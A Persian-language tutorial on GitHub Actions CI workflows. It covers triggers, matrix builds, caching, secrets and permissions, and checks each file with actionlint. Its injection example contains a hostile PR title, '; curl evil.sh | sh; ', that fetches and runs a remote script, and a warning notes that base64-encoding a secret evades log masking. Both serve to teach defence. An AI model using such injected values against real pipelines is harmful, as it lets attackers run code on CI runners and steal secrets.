رفتن به محتوا
LoopX

GitHub Actions

توی این درس یاد می‌گیری چطور هر بار که کسی کد push می‌کند یا PR باز می‌کند، build و تست خودکار اجرا شود: با GitHub Actions. ساختار یک workflow (فایل YAML در .github/workflows/)، trigger ها (on: push، pull_request، schedule، workflow_dispatch)، job و step، اجرای هم‌زمان با matrix، ترتیب با needs، cache و artifact، و secret ها و permissions را می‌آموزی. چون اجرای واقعی نیاز به حساب و سرور GitHub دارد، فایل‌ها را با ابزار actionlint (بررسی‌کننده‌ی workflow) واقعاً بررسی می‌کنم و مرحله‌هایشان را روی لب اجرا می‌کنم. تمرین: یک workflow بساز که با هر push پروژه را build کند.

مسئله: «روی کامپیوتر من کار می‌کرد»

Section titled “مسئله: «روی کامپیوتر من کار می‌کرد»”

همه فراموش می‌کنند قبل از push تست‌ها را اجرا کنند؛ یکی روی ویندوز تست می‌کند و دیگری روی لینوکس؛ یکی نسخه‌ی قدیمی Python دارد. نتیجه: کد خراب وارد main می‌شود و بعد از آن همه روی آن کار می‌کنند. CI (Continuous Integration) یعنی یک ماشین تمیز و یکسان هر بار کد را می‌گیرد، می‌سازد و تست می‌کند و نتیجه را روی خود PR نشان می‌دهد (✓ سبز یا ✗ قرمز). GitHub این ماشین را به‌صورت سرویس می‌دهد: GitHub Actions.

تشبیه: خط کنترل کیفیت کارخانه

Section titled “تشبیه: خط کنترل کیفیت کارخانه”

هر قطعه‌ای که وارد کارخانه می‌شود روی یک ریل می‌افتد و از چند ایستگاه رد می‌شود (اندازه‌گیری، تست فشار، بسته‌بندی). اگر یک ایستگاه رد کرد، قطعه از خط خارج می‌شود. Actions همین است: رویداد (push) قطعه را وارد می‌کند، job یک ریل است و step ها ایستگاه‌هایش. بهترین بخش: ایستگاه‌ها را خودت (به‌صورت متن در مخزن) تعریف می‌کنی و همراه کد نسخه‌بندی می‌شوند.

یک رویداد (مثلاً push) workflow را شروع می‌کند؛ workflow چند job دارد که روی runner ها (ماشین‌های تمیز) اجرا می‌شوند؛ و هر job چند step: یا دستور (run) یا یک action آماده (uses).
مفهوم معنی
workflow یک فایل YAML در .github/workflows/؛ هر مخزن می‌تواند چند تا داشته باشد
event / trigger چیزی که workflow را شروع می‌کند (on:)
job مجموعه‌ای از step ها که روی یک runner اجرا می‌شود؛ job ها پیش‌فرض هم‌زمان و مستقل‌اند
step یک مرحله: دستور shell (run:) یا یک action (uses:)
runner ماشین اجراکننده (ubuntu-latest، windows-latest، macos-latest یا self-hosted)؛ برای هر job تمیز
action یک بسته‌ی آماده (مثل actions/checkout@v4) که یک کار را انجام می‌دهد

اجرای واقعی workflow فقط روی GitHub ممکن است و به حساب و مخزن تو نیاز دارد؛ پس نتیجه‌ی اجرا روی سایت (برگه‌ی Actions، ✓/✗ روی PR) را اجرا نکرده‌ام و «نمونه» است. ولی هر چیزی که به خود فایل workflow و دستورهای داخلش مربوط است، واقعاً آزمایش شده: فایل‌ها را با actionlint (ابزار متن‌باز بررسی workflow؛ همان ایرادهایی را می‌گیرد که GitHub بعد از push می‌گرفت) بررسی کرده‌ام و دستورهای run را روی لب اجرا کرده‌ام.

مثال ۱: پروژه‌ی نمونه و آزمایش محلی

Section titled “مثال ۱: پروژه‌ی نمونه و آزمایش محلی”

یک پروژه‌ی کوچک Python با یک تست. اول خودت محلی اجرایش می‌کنی؛ CI همین کار را روی یک ماشین تمیز خودکار می‌کند:

Terminal window
mkdir -p ~/gitlab/ci-demo/tests && cd ~/gitlab/ci-demo && git init -q
cat > calc.py <<'EOF'
def add(a, b):
return a + b
EOF
cat > tests/test_calc.py <<'EOF'
import unittest
from calc import add
class TestCalc(unittest.TestCase):
def test_add(self):
self.assertEqual(add(2, 3), 5)
if __name__ == "__main__":
unittest.main()
EOF
python3 -m unittest discover -s tests -v
خروجی
test_add (test_calc.TestCalc.test_add) ... ok
----------------------------------------------------------------------
Ran 1 test in 0.000s
OK

دستور python3 -m unittest discover -s tests -v همه‌ی تست‌های پوشه‌ی tests را پیدا و اجرا می‌کند. اگر این روی کامپیوتر تو سبز است، همان را به CI می‌دهیم.

فایل را در .github/workflows/ می‌سازی (پوشه و نام فایل را GitHub می‌شناسد؛ هر فایل .yml یا .yaml داخل آن یک workflow است):

Terminal window
cd ~/gitlab/ci-demo
mkdir -p .github/workflows
cat > .github/workflows/ci.yml <<'EOF'
name: CI
on:
push:
branches: [main]
pull_request:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Run tests
run: python3 -m unittest discover -s tests -v
EOF
echo "--- actionlint (بدون خروجی یعنی ایرادی پیدا نشد):"
actionlint -color=false
echo "کد خروج: $?"
خروجی
--- actionlint (بدون خروجی یعنی ایرادی پیدا نشد):
کد خروج: 0

بخش‌ها از بالا:

خط معنی
name: CI اسمی که در برگه‌ی Actions و کنار PR دیده می‌شود
on: trigger: با push به main و با هر Pull Request اجرا شو
jobs: فهرست job ها؛ اینجا یکی به نام test
runs-on: ubuntu-latest روی یک ماشین Ubuntu تمیز (هر بار از نو)
uses: actions/checkout@v4 action رسمی که کد مخزن را روی runner می‌گیرد (بدون آن runner خالی است!)
uses: actions/setup-python@v5 + with: نصب Python؛ with ورودی‌های action است
run: یک دستور shell؛ همان دستوری که محلی زدی

اگر actionlint چیزی نگوید، ساختار درست است. ایراد را قبل از push پیدا کردن، چند دقیقه صبر برای اجرای خراب در GitHub را حذف می‌کند.

مثال ۳: وقتی تست می‌شکند، CI چه می‌گوید؟

Section titled “مثال ۳: وقتی تست می‌شکند، CI چه می‌گوید؟”

تست را عمداً خراب می‌کنم تا ببینی ✗ از کجا می‌آید: کد خروج ناصفر. هر step که با کد غیرصفر تمام شود، job شکست می‌خورد و بقیه‌ی step ها اجرا نمی‌شوند:

Terminal window
cd ~/gitlab/ci-demo
sed -i 's/return a + b/return a - b/' calc.py
python3 -m unittest discover -s tests 2>&1 | tail -9
echo "کد خروج: ${PIPESTATUS[0]}"
sed -i 's/return a - b/return a + b/' calc.py
خروجی
Traceback (most recent call last):
File "/home/ali/gitlab/ci-demo/tests/test_calc.py", line 7, in test_add
self.assertEqual(add(2, 3), 5)
AssertionError: -1 != 5
----------------------------------------------------------------------
Ran 1 test in 0.000s
FAILED (failures=1)
کد خروج: 1

خطای AssertionError: -1 != 5 و کد خروج 1. روی GitHub این همان لحظه‌ای است که کنار PR ✗ قرمز می‌آید (و لاگ همین خروجی است). نکته: هر دستور با کد خروج غیرصفر یعنی شکست؛ برای همین درس‌های exit code و set -e در Bash برای CI مهم‌اند. (این بخش «نمایش در سایت» را اجرا نکرده‌ام: نمونه؛ خود خطا واقعی بود.)

on: تعیین می‌کند چه چیزی workflow را شروع کند. یک فایل با چند trigger رایج:

Terminal window
cd ~/gitlab/ci-demo
cat > .github/workflows/triggers.yml <<'EOF'
name: Triggers demo
on:
push:
branches: [main, "release/**"]
paths: ["calc.py", "tests/**"]
pull_request:
types: [opened, synchronize, reopened]
schedule:
- cron: "30 2 * * 1-5"
workflow_dispatch:
inputs:
environment:
description: "Where to run"
required: true
default: staging
type: choice
options: [staging, production]
jobs:
show:
runs-on: ubuntu-latest
steps:
- run: echo "event=${{ github.event_name }} environment=${{ inputs.environment }}"
EOF
actionlint -color=false .github/workflows/triggers.yml; echo "کد خروج: $?"
خروجی
کد خروج: 0
trigger چه زمانی نکته
push push به یک شاخه یا tag فیلتر: branches، tags، paths (فقط وقتی این فایل‌ها عوض شدند)
pull_request باز، به‌روز یا دوباره باز شدن PR types پیش‌فرض: opened، synchronize، reopened
schedule زمان‌بندی با cron (همان قالب درس cron: ۵ فیلد) همیشه به وقت UTC؛ حداقل فاصله ۵ دقیقه؛ فقط روی شاخه‌ی پیش‌فرض
workflow_dispatch اجرای دستی از رابط GitHub یا gh workflow run می‌تواند ورودی (inputs) بگیرد
workflow_call یک workflow دیگر آن را صدا بزند برای workflow های قابل‌استفاده‌ی مجدد

30 2 * * 1-5 یعنی «۰۲:۳۰ UTC، دوشنبه تا جمعه» (درس cron). و ${{ ... }} یک عبارت (expression) است که GitHub قبل از اجرا مقدارش را می‌گذارد؛ github.event_name اسم رویداد است.

job ها به‌صورت پیش‌فرض هم‌زمان اجرا می‌شوند. اگر job دوم به نتیجه‌ی اولی نیاز دارد، needs ترتیب می‌دهد. و matrix یک job را با ترکیب‌های مختلف (مثلاً چند نسخه‌ی Python) تکثیر می‌کند:

Terminal window
cd ~/gitlab/ci-demo
cat > .github/workflows/pipeline.yml <<'EOF'
name: Pipeline
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
python: ["3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python }}
- run: python3 -m unittest discover -s tests
build:
needs: test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: python3 -m compileall -q .
- uses: actions/upload-artifact@v4
with:
name: build-output
path: |
calc.py
tests/
EOF
actionlint -color=false .github/workflows/pipeline.yml; echo "کد خروج: $?"
خروجی
کد خروج: 0

سه چیز: ۱) matrix.python سه مقدار دارد، پس job test سه بار هم‌زمان اجرا می‌شود (هر کدام با یک نسخه‌ی Python). با دو بعد (os و python) ضرب می‌شوند: ۲ × ۳ = ۶ job. ۲) fail-fast: false یعنی اگر یکی شکست خورد، بقیه ادامه دهند (پیش‌فرض: همه لغو می‌شوند). ۳) needs: test یعنی job build فقط بعد از موفقیت همه‌ی job های test شروع می‌شود. و artifact فایل‌هایی است که از job می‌ماند و می‌شود از صفحه‌ی workflow دانلود یا به job دیگر داد (upload-artifact / download-artifact).

هر job روی ماشین تمیز شروع می‌شود، پس وابستگی‌ها هر بار از نو دانلود می‌شوند. actions/cache پوشه‌هایی مثل کش pip را بین اجراها نگه می‌دارد. کلید cache از هش فایل وابستگی‌ها ساخته می‌شود تا با عوض شدن وابستگی، کش جدید ساخته شود:

Terminal window
cd ~/gitlab/ci-demo
echo "# بدون وابستگی خارجی" > requirements.txt
cat > .github/workflows/cache.yml <<'EOF'
name: Cached CI
on: push
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- uses: actions/cache@v4
with:
path: ~/.cache/pip
key: pip-${{ runner.os }}-${{ hashFiles('requirements.txt') }}
restore-keys: |
pip-${{ runner.os }}-
- run: python3 -m pip install -r requirements.txt
- run: python3 -m unittest discover -s tests
EOF
actionlint -color=false .github/workflows/cache.yml; echo "کد خروج: $?"
خروجی
کد خروج: 0

key اگر دقیقاً وجود داشت، کش بازیابی می‌شود. اگر نه، restore-keys نزدیک‌ترین کش قدیمی (با همان پیشوند) را می‌آورد و در پایان job کش جدید ذخیره می‌شود. runner.os اسم سیستم‌عامل است و hashFiles('requirements.txt') هش محتوای فایل. (برای Python، خود setup-python هم گزینه‌ی cache: pip دارد که همین را خلاصه می‌کند.) سقف حجم کش محدود است و کش‌هایی که چند روز استفاده نشوند پاک می‌شوند؛ پس به کش به‌عنوان شتاب‌دهنده نگاه کن، نه تضمین.

مثال ۷: secret ها، متغیرها و permissions

Section titled “مثال ۷: secret ها، متغیرها و permissions”

رمز و کلید هرگز داخل فایل workflow نمی‌آیند (فایل در مخزن است!). در GitHub (Settings ← Secrets and variables ← Actions) یک secret می‌سازی و در workflow با ${{ secrets.NAME }} می‌خوانی؛ GitHub مقدارش را در لاگ‌ها با *** پنهان می‌کند. مقدارهای غیرحساس را در variables (vars.NAME) می‌گذاری. و permissions دسترسی توکن خودکار GITHUB_TOKEN را به حداقل می‌رساند:

Terminal window
cd ~/gitlab/ci-demo
cat > .github/workflows/deploy.yml <<'EOF'
name: Deploy
on:
push:
tags: ["v*"]
permissions:
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
- name: Deploy to server
env:
SSH_KEY: ${{ secrets.DEPLOY_KEY }}
HOST: ${{ vars.DEPLOY_HOST }}
run: |
echo "deploying $GITHUB_SHA to $HOST"
# اینجا با rsync یا ssh و کلید $SSH_KEY مستقر می‌شد
EOF
actionlint -color=false .github/workflows/deploy.yml; echo "کد خروج: $?"
خروجی
کد خروج: 0

نکته‌های امنیتی (طبق مستندات GitHub): secret ها به workflow های PR از fork داده نمی‌شوند (تا یک مهاجم با یک PR، secret تو را نخواند). permissions: contents: read یعنی توکن فقط خواندن دارد؛ هر چه کمتر بهتر. environment: production یک محیط با قاعده‌های اضافه (مثلاً تأیید دستی قبل از استقرار و secret های جدا) است. (ساخت secret و environment در رابط GitHub را اجرا نکرده‌ام؛ نمونه.)

مثال ۸: خطر تزریق (injection) و چطور actionlint می‌گیردش

Section titled “مثال ۸: خطر تزریق (injection) و چطور actionlint می‌گیردش”

بعضی ورودی‌ها را مهاجم کنترل می‌کند: عنوان یک PR، نام یک شاخه، پیام commit. اگر آن را مستقیم داخل run: بگذاری، مقدارش قبل از اجرا داخل اسکریپت shell متن‌گذاری می‌شود و عنوانی مثل "; curl evil.sh | sh; " فرمان می‌شود. ببین actionlint چه می‌گوید و راه درست چیست:

Terminal window
cd ~/gitlab/ci-demo
cat > .github/workflows/unsafe.yml <<'EOF'
name: Unsafe
on: pull_request
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "PR title is ${{ github.event.pull_request.title }}"
EOF
actionlint -color=false .github/workflows/unsafe.yml 2>&1 | cut -c1-200; echo "کد خروج: ${PIPESTATUS[0]}"
cat > .github/workflows/safe.yml <<'EOF'
name: Safe
on: pull_request
jobs:
greet:
runs-on: ubuntu-latest
steps:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title is $TITLE"
EOF
echo "--- نسخه‌ی امن (از راه متغیر محیطی):"
actionlint -color=false .github/workflows/safe.yml; echo "کد خروج: $?"
خروجی
.github/workflows/unsafe.yml:7:36: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://
|
7 | - run: echo "PR title is ${{ github.event.pull_request.title }}"
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
کد خروج: 1
--- نسخه‌ی امن (از راه متغیر محیطی):
کد خروج: 0

راه درست: مقدار را به یک متغیر محیطی (env:) بده و در اسکریپت با "$TITLE" بخوان؛ آن‌وقت shell آن را داده می‌بیند، نه کد. این از رایج‌ترین آسیب‌پذیری‌های workflow هاست.

مثال ۹: یک workflow فقط YAML است، یک اجراکننده‌ی ساده

Section titled “مثال ۹: یک workflow فقط YAML است، یک اجراکننده‌ی ساده”

برای اینکه ببینی workflow جادو نیست، یک «اجراکننده‌ی» بسیار ساده می‌نویسم: فایل را می‌خواند، step های run را به‌ترتیب اجرا می‌کند و uses را (که به دانلود action نیاز دارد) رد می‌کند. (این یک ابزار آموزشی است، نه جایگزین runner واقعی.)

Terminal window
cd ~/gitlab/ci-demo
cat > mini-runner.py <<'EOF'
import subprocess, sys, yaml
wf = yaml.safe_load(open(sys.argv[1]))
print(f"workflow: {wf['name']}")
for job_id, job in wf["jobs"].items():
print(f"\n== job: {job_id} (runs-on: {job['runs-on']})")
for i, step in enumerate(job["steps"], 1):
if "uses" in step:
print(f" [{i}] SKIP uses: {step['uses']} (در GitHub یک action اجرا می‌شد)")
continue
print(f" [{i}] RUN {step.get('name', step['run'].splitlines()[0])}")
r = subprocess.run(step["run"], shell=True)
if r.returncode != 0:
print(f" ✗ step {i} با کد {r.returncode} تمام شد ← job شکست خورد")
sys.exit(1)
print("\n✓ همه‌ی مرحله‌ها موفق بودند")
EOF
python3 -u mini-runner.py .github/workflows/ci.yml 2>&1
خروجی
workflow: CI
== job: test (runs-on: ubuntu-latest)
[1] SKIP uses: actions/checkout@v4 (در GitHub یک action اجرا می‌شد)
[2] SKIP uses: actions/setup-python@v5 (در GitHub یک action اجرا می‌شد)
[3] RUN Run tests
test_add (test_calc.TestCalc.test_add) ... ok
----------------------------------------------------------------------
Ran 1 test in 0.000s
OK
✓ همه‌ی مرحله‌ها موفق بودند

دیدی: uses (مثل checkout) رد شد چون اینجا کد از قبل کنار ماست؛ و run همان تست‌ها را اجرا کرد. هر چه GitHub می‌کند، در هسته همین است: یک ماشین تمیز، checkout، و یکی‌یکی اجرای دستورها. (یک نکته‌ی جانبی: خود PyYAML کلید on: را True می‌خواند چون در YAML 1.1 کلمه‌ی on یعنی «درست»؛ همین باعث می‌شود بعضی ابزارها با فایل‌های workflow گیج شوند. در اجراکننده‌ی من این کلید استفاده نشد.)

مثال ۱۰: خروجی step ها، $GITHUB_OUTPUT

Section titled “مثال ۱۰: خروجی step ها، $GITHUB_OUTPUT”

step ها می‌توانند مقدار به step های بعد بدهند: یک خط نام=مقدار به فایلی که مسیرش در متغیر GITHUB_OUTPUT است اضافه می‌کنند، و بعداً با ${{ steps.id.outputs.نام }} می‌خوانند. خود مکانیزم فقط «اضافه‌کردن یک خط به یک فایل» است؛ همین را محلی نشان می‌دهم:

Terminal window
cd ~/gitlab/ci-demo
export GITHUB_OUTPUT=/tmp/gh_output.txt; : > "$GITHUB_OUTPUT"
git add -A && git commit -qm "Add CI workflows"
echo "version=1.4.2" >> "$GITHUB_OUTPUT"
echo "sha=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"
echo "--- فایل خروجی step:"
cat "$GITHUB_OUTPUT"
rm -f "$GITHUB_OUTPUT"
خروجی
--- فایل خروجی step:
version=1.4.2
sha=54ea453

در workflow:

استفاده از خروجی step (ساختار)
- id: vars
run: echo "version=1.4.2" >> "$GITHUB_OUTPUT"
- run: echo "نسخه: ${{ steps.vars.outputs.version }}"

دو فایل ویژه‌ی مشابه: $GITHUB_ENV (متغیر محیطی برای step های بعدی) و $GITHUB_STEP_SUMMARY (متن Markdown که در صفحه‌ی خلاصه‌ی اجرا نشان داده می‌شود).

مثال ۱۱ (نمونه): دیدن و کنترل اجرا در GitHub

Section titled “مثال ۱۱ (نمونه): دیدن و کنترل اجرا در GitHub”

بعد از push یا باز کردن PR، در تب Actions هر workflow و اجراهایش را می‌بینی؛ روی یک اجرا بروی، job ها و step ها را با لاگ کامل می‌بینی. کنار PR هم یک بخش Checks هست. اگر در branch protection گزینه‌ی Require status checks to pass را روشن کرده باشی (درس قبل)، تا ✓ سبز نشود دکمه‌ی ادغام باز نمی‌شود. با ابزار gh از ترمینال (این‌ها را اجرا نکرده‌ام؛ گزینه‌ها از مستندات رسمی gh):

نمونه (اجرا نشده): gh run و gh workflow
gh run list # آخرین اجراها
gh run view 12345 --log-failed # لاگ فقط step های شکست‌خورده
gh run watch # دنبال‌کردن زنده‌ی یک اجرا
gh run rerun 12345 --failed # دوباره اجرای فقط job های شکست‌خورده
gh workflow run ci.yml --ref main # اجرای دستی (نیاز به workflow_dispatch)
gh workflow run deploy.yml -f environment=staging # با ورودی

برای اجرای کامل یک workflow روی کامپیوتر خودت بدون push، ابزار متن‌باز act (با Docker) وجود دارد؛ نصب و تصویرهای سنگین دارد و من اجرایش نکرده‌ام. actionlint که در این درس دیدی برای ایرادهای ساختاری کافی و سبک است.

روی GitHub، هر job روی یک ماشین مجازی تازه (با ubuntu-latest یک Ubuntu، که همراه ابزارهای معمول مثل Git، Docker، Python و Node آماده است) شروع می‌شود و بعد از پایان job دور ریخته می‌شود؛ هیچ چیز بین job ها نمی‌ماند، مگر cache و artifact. برای همین هر job باید checkout را خودش بزند. می‌توانی runner خودت (self-hosted) هم داشته باشی: سرور خودت که یک برنامه‌ی کوچک GitHub روی آن کار می‌کند و job ها را می‌گیرد؛ برای سخت‌افزار خاص یا شبکه‌ی داخلی لازم است ولی امنیتش با خودت است (کدی که روی مخزن عمومی اجرا می‌شود روی سرور تو می‌دود). مخزن‌های عمومی روی runner های GitHub رایگان‌اند و مخزن‌های خصوصی سهمیه‌ی ماهانه دارند (مقدارش را در مستندات GitHub ببین؛ تغییر می‌کند).

کلید در workflow کار
name اسم workflow / job / step
on trigger ها
jobs.<id>.runs-on نوع runner
jobs.<id>.steps[] مرحله‌ها: run یا uses (+ with، env، id، if)
jobs.<id>.needs ترتیب job ها
jobs.<id>.strategy.matrix تکثیر job با ترکیب‌ها
jobs.<id>.environment محیط استقرار
permissions دسترسی GITHUB_TOKEN
env متغیر محیطی (در سطح workflow، job یا step)
if شرط اجرای job یا step (مثل if: failure())
expression معنی
${{ github.event_name }} اسم رویداد
${{ github.sha }} / ref_name commit / نام شاخه یا tag
${{ secrets.NAME }} secret
${{ vars.NAME }} متغیر غیرحساس
${{ matrix.python }} مقدار فعلی matrix
${{ steps.id.outputs.x }} خروجی یک step
${{ runner.os }} سیستم‌عامل runner
${{ hashFiles('فایل') }} هش محتوای فایل‌ها (برای کلید cache)

۱) غلط تایپی در اسم runner یا کلیدها

Section titled “۱) غلط تایپی در اسم runner یا کلیدها”
Terminal window
mkdir -p ~/gitlab/ci-bad/.github/workflows && cd ~/gitlab/ci-bad && git init -q
cat > .github/workflows/typos.yml <<'EOF'
name: Typos
on:
push:
branch: [main]
jobs:
build:
runs-on: ubuntu-lastest
steps:
- uses: actions/checkout@v4
with:
fetch-deph: 0
- run: echo ${{ github.evnt_name }}
EOF
actionlint -color=false 2>&1 | grep -E '^\.github' | cut -c1-190
خروجی
.github/workflows/typos.yml:4:5: unexpected key "branch" for "push" section. expected one of "branches", "branches-ignore", "paths", "paths-ignore", "tags", "tags-ignore", "types", "workflow
.github/workflows/typos.yml:7:14: label "ubuntu-lastest" is unknown. available labels are "windows-latest", "windows-latest-8-cores", "windows-2025", "windows-2025-vs2026", "windows-2022", "
.github/workflows/typos.yml:11:11: input "fetch-deph" is not defined in action "actions/checkout@v4". available inputs are "clean", "fetch-depth", "fetch-tags", "filter", "github-server-url"
.github/workflows/typos.yml:12:23: property "evnt_name" is not defined in object type {action: string; action_path: string; action_ref: string; action_repository: string; action_status: stri

چهار ایراد واقعی با شماره‌ی خط و ستون: کلید ناشناخته‌ی branch (درستش branches)، اسم runner غلط (ubuntu-lastest)، ورودی fetch-deph که action ندارد (fetch-depth) و github.evnt_name که وجود ندارد. بدون actionlint، هر کدام را فقط بعد از push و با یک اجرای قرمز می‌فهمیدی.

۲) job وابسته به job ناموجود

Section titled “۲) job وابسته به job ناموجود”
Terminal window
cd ~/gitlab/ci-bad
cat > .github/workflows/needs.yml <<'EOF'
name: Needs
on: push
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: echo test
deploy:
needs: [tset]
runs-on: ubuntu-latest
steps:
- run: echo deploy
EOF
actionlint -color=false .github/workflows/needs.yml 2>&1 | head -1
خروجی
.github/workflows/needs.yml:8:3: job "deploy" needs job "tset" which does not exist in this workflow [job-needs]

YAML فقط فاصله برای تورفتگی می‌پذیرد، نه Tab:

Terminal window
cd ~/gitlab/ci-bad
printf 'name: Tab\non: push\njobs:\n\tbuild:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n' > .github/workflows/tab.yml
actionlint -color=false .github/workflows/tab.yml 2>&1 | head -1
خروجی
.github/workflows/tab.yml:4:0: could not parse as YAML: found character that cannot start any token [syntax-check]

ویرایشگرت را روی «Tab → ۲ فاصله» تنظیم کن (درس ویرایشگرها).

۴) یادت می‌رود checkout بزنی

Section titled “۴) یادت می‌رود checkout بزنی”

runner تمیز است و کد مخزن را ندارد. بدون actions/checkout، دستوری مثل python3 -m unittest discover -s tests پوشه‌ی tests را پیدا نمی‌کند. همیشه اولین step: uses: actions/checkout@v4.

۵) اعتماد کورکورانه به action شخص ثالث

Section titled “۵) اعتماد کورکورانه به action شخص ثالث”

uses: someone/some-action@main یعنی هر چه آن شخص روزی در شاخه‌ی main بگذارد روی runner تو (با دسترسی به secret ها) اجرا می‌شود. راه‌حل: فقط action های معتبر؛ نسخه را به یک tag ثابت یا بهتر commit SHA قفل کن (uses: owner/action@<sha کامل>)، و permissions را حداقلی بگذار.

GitHub مقدار secret ها را در لاگ پنهان می‌کند، ولی اگر آن را تغییر بدهی (مثلاً base64 کنی و چاپ کنی)، دیگر شبیه secret نیست و پنهان نمی‌شود. راه‌حل: secret را هرگز echo نکن؛ مستقیم به برنامه‌ای که لازمش دارد بده.

✎ تمرینآسان

یک workflow حداقلی بنویس که با هر push فقط یک خط چاپ کند (echo "Hello from CI") و با actionlint ثابت کن درست است.

دیدن جواب
Terminal window
mkdir -p ~/gitlab/ex1/.github/workflows && cd ~/gitlab/ex1 && git init -q
cat > .github/workflows/hello.yml <<'EOF'
name: Hello
on: push
jobs:
hello:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from CI"
EOF
actionlint -color=false; echo "کد خروج: $?"
خروجی
کد خروج: 0
✎ تمرینمتوسط

تمرین اصلی: یک workflow بساز که با هر push پروژه را build کند. برای پروژه‌ی Python: checkout، نصب Python، اجرای تست‌ها، «build» (اینجا: python3 -m compileall) و آپلود نتیجه به‌عنوان artifact. فایل را با actionlint بررسی کن و run های آن را روی لب اجرا کن تا مطمئن شوی روی GitHub هم کار می‌کنند. (اجرای واقعی روی GitHub: نمونه.)

دیدن جواب
Terminal window
mkdir -p ~/gitlab/ex2/tests ~/gitlab/ex2/.github/workflows && cd ~/gitlab/ex2 && git init -q
printf 'def greet(name):\n return f"Hello {name}"\n' > app.py
printf 'import unittest\nfrom app import greet\n\nclass T(unittest.TestCase):\n def test_greet(self):\n self.assertEqual(greet("Ali"), "Hello Ali")\n\nif __name__ == "__main__":\n unittest.main()\n' > tests/test_app.py
cat > .github/workflows/build.yml <<'EOF'
name: Build
on:
push:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Test
run: python3 -m unittest discover -s tests -v
- name: Build
run: python3 -m compileall -q .
- uses: actions/upload-artifact@v4
with:
name: app
path: app.py
EOF
echo "--- actionlint:"; actionlint -color=false; echo "کد خروج: $?"
echo "--- run های workflow روی لب (با اجراکننده‌ی ساده‌ی مثال ۹):"
cp ~/gitlab/ci-demo/mini-runner.py . && python3 -u mini-runner.py .github/workflows/build.yml 2>&1 | tail -14
خروجی
--- actionlint:
کد خروج: 0
--- run های workflow روی لب (با اجراکننده‌ی ساده‌ی مثال ۹):
== job: build (runs-on: ubuntu-latest)
[1] SKIP uses: actions/checkout@v4 (در GitHub یک action اجرا می‌شد)
[2] SKIP uses: actions/setup-python@v5 (در GitHub یک action اجرا می‌شد)
[3] RUN Test
test_greet (test_app.T.test_greet) ... ok
----------------------------------------------------------------------
Ran 1 test in 0.000s
OK
[4] RUN Build
[5] SKIP uses: actions/upload-artifact@v4 (در GitHub یک action اجرا می‌شد)
✓ همه‌ی مرحله‌ها موفق بودند
✎ تمرینسخت

یک workflow بساز که: (۱) با push به main، با PR و دستی (workflow_dispatch) اجرا شود، (۲) تست را روی سه نسخه‌ی Python با matrix اجرا کند، (۳) job دوم report فقط بعد از موفقیت تست‌ها اجرا شود و (۴) job سوم notify با شرط if: failure() فقط وقتی اجرا شود که تست‌ها شکست خورده باشند. فایل را با actionlint بررسی کن.

دیدن جواب
Terminal window
mkdir -p ~/gitlab/ex3/.github/workflows && cd ~/gitlab/ex3 && git init -q
cat > .github/workflows/full.yml <<'EOF'
name: Full pipeline
on:
push:
branches: [main]
pull_request:
workflow_dispatch:
jobs:
test:
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
python: ["3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python }}
- run: python3 -m unittest discover -s tests
report:
needs: test
runs-on: ubuntu-latest
steps:
- run: echo "همه‌ی نسخه‌ها سبز شدند" >> "$GITHUB_STEP_SUMMARY"
notify:
needs: test
if: failure()
runs-on: ubuntu-latest
steps:
- run: echo "تست‌ها شکست خوردند" >> "$GITHUB_STEP_SUMMARY"
EOF
actionlint -color=false; echo "کد خروج: $?"
خروجی
کد خروج: 0

نکته: if: failure() در job notify به‌تنهایی کافی است چون needs: test را دارد؛ اگر test موفق باشد notify رد (skip) می‌شود.

⚡ بررسی سریع

چرا اولین step تقریباً هر job معمولاً «uses: actions/checkout@v4» است؟

؟ آزمونک
  1. workflow ها را کجا می‌گذاری؟

  2. job های یک workflow به‌صورت پیش‌فرض چطور اجرا می‌شوند؟

  3. matrix با دو بعد (۲ سیستم‌عامل و ۳ نسخه‌ی Python) چند job می‌سازد؟

  4. چرا نباید عنوان PR را مستقیم داخل run: بگذاری (${{ github.event.pull_request.title }})؟

  5. secret ها به workflow های PR از fork چه می‌شوند؟

  • CI: هر push یا PR روی یک ماشین تمیز build و تست می‌شود؛ ✓ یا ✗ روی PR. GitHub Actions = فایل‌های YAML در .github/workflows/.
  • ساختار: workflow ← job ها (روی runs-on) ← step ها (run: دستور یا uses: action آماده + with:). اولین step: actions/checkout@v4.
  • trigger: push (branches/paths)، pull_request، schedule (cron UTC)، workflow_dispatch (دستی). needs ترتیب، matrix تکثیر، if شرط، cache و artifact.
  • secrets (${{ secrets.X }}) و vars؛ permissions حداقلی؛ ورودی غیرقابل‌اعتماد را از راه env: بده (injection)؛ action شخص ثالث را به tag/SHA قفل کن.
  • actionlint فایل را قبل از push بررسی می‌کند (runner غلط، کلید ناشناخته، needs ناموجود، YAML، injection، shellcheck). دستورهای run را محلی اجرا کن.
  • هر دستور با کد خروج غیرصفر ← step و job شکست می‌خورد. $GITHUB_OUTPUT، $GITHUB_ENV، $GITHUB_STEP_SUMMARY فایل‌های ارتباطی step ها.
برگه‌ی تقلب این درس
دستورکاری که می‌کند
.github/workflows/ci.ymlمحل فایل workflow
on: push / pull_request / schedule / workflow_dispatchtrigger ها
runs-on: ubuntu-latestنوع runner
uses: actions/checkout@v4گرفتن کد مخزن
